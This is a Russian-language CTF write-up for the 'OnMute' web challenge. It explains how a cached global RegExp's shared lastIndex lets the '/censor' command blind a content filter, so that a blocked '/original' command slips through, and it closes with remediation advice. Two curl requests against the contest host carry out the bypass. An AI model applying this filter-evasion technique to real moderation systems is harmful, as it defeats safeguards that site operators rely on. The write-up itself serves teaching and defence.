OnMute — Writeup
Автор: Влад Росков @mrvos SPbCTF
Автор writeup: @m0nr0e21
OnMute — музыкальная площадка с агрессивной модерацией текстов треков: любое слово из растущего блок-листа немедленно вырезается из комментариев. В одном из треков автор спрятал отсылку для своих, которую заодно тоже зацензурили. Цель — обойти цензуру и достать полный (оригинальный) текст трека.
Разведка
В исходниках интересны три файла:
server/src/moderation/filter.js — сам фильтр контента;
server/src/bot/commands.js — обработчик текстовых команд бота (/help, /censor, /report, /status, /original);
server/src/routes/comments.js — маршрут POST /api/tracks/:id/comment, который сначала прогоняет присланный текст через фильтр и только потом передаёт его парсеру команд.
Ключевая находка — команда /original <id>:
case 'original': {
const original = await getOriginalText(cmd.trackId);
if (!original) return { type: 'bot', message: `Трек #${cmd.trackId} не найден.` };
return { type: 'bot', command: '/original', message: original };
}Она отдаёт необрезанный оригинал трека — включая всё, что цензура вырезала из публичной версии. Проблема в том, что строка /original сама лежит в блок-листе:
export const BLOCKED_WORDS = [ '/original', 'блин', 'чёрт', 'жесть', 'фигня', ... ];
То есть простое сообщение "/original 4" будет заблокировано фильтром ещё до того, как до него доберётся parseCommand().
Уязвимость
В server/src/moderation/filter.js для каждой сессии кешируется один и тот же объект RegExp с флагом g:
function getPolicy(sessionId) {
if (!policies.has(sessionId)) {
policies.set(sessionId, {
id: sessionId,
re: new RegExp(`(?:${BLOCKED_WORDS.join('|')})(?=[\\s.,!?;:)}\\]"'»]|$)`, 'gi'),
});
}
return policies.get(sessionId);
}Классическая ошибка со stateful глобальным regex: RegExp.prototype.lastIndex — общее изменяемое состояние объекта, а не вызова.
- checkContent() крутит re.exec() в цикле до null → lastIndex сбрасывается в 0.
- matchesPolicy() (внутри /censor) делает один re.test() → при совпадении lastIndex остаётся > 0.
Оба метода используют один и тот же кэшированный re (по sessionId из cookie). Поэтому lastIndex, оставленный /censor, наследуется следующим checkContent().
Эффект
Если /censor поднимает lastIndex до N, а сообщение короче N символов, re.exec() начинает поиск с позиции N и пропускает начало строки (в т.ч. /original).
parseCommand() при этом матчит /original по чистому ^\/original..., поэтому команда всё равно выполняется.
Эксплуатация
Цель - трек 4, нужно найти censored-тексте найти слово из блок-листа ≤10 символов с разделителем сразу после (чтобы matchesPolicy() оставил lastIndex > 0). В бридже трека 4 — «Тише» (позиции 868–872).
curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
-H 'Content-Type: application/json' \
-d '{"text":"/censor 868 872"}'matchesPolicy("Тише") находит совпадение целиком (лукахед (?=...|$) срабатывает на конец строки фрагмента) → lastIndex объекта regex для этой сессии становится равен 4.
Тем же сессионным куки сразу отправляем настоящую цель:
curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
-H 'Content-Type: application/json' \
-d '{"text":"/original 4"}'checkContent() начинает поиск совпадений в строке "/original 4" с позиции 4 (унаследованной от шага 2). Слово /original начинается с позиции 0, поэтому поймать его уже нельзя — фильтр не находит нарушений и пропускает сообщение. parseCommand() независимо распознаёт /original 4 и выполняет handleCommand(), который возвращает полный оригинальный текст трека.
Результат
{
"ok": true,
"type": "bot",
"command": "/original",
"message": "...[Аутро]\n...\nЗабираю своё. Вот он - ключ. Вот он - флаг: }"
}Причина уязвимости
Название флага обыгрывает суть бага: флаг g заставляет RegExp хранить lastIndex между вызовами. Когда один и тот же объект переиспользуется в разных функциях (цикл exec() до null vs одиночный test()), они неявно влияют друг на друга через общее мутируемое состояние. «Тишина» (censor на «Тише») буквально заглушила фильтр символа / и пропустила команду /original.
Не кэшировать RegExp с g/y между независимыми вызовами — либо создавать новый объект каждый раз, либо явно делать re.lastIndex = 0.
Не полагаться на автосброс lastIndex при exec() === null (работает только если цикл доходит до конца строки).
Использовать String.prototype.matchAll() (stateless) или выделенный regex без g для точечных проверок (matchesPolicy), отдельно от полного сканирования (checkContent).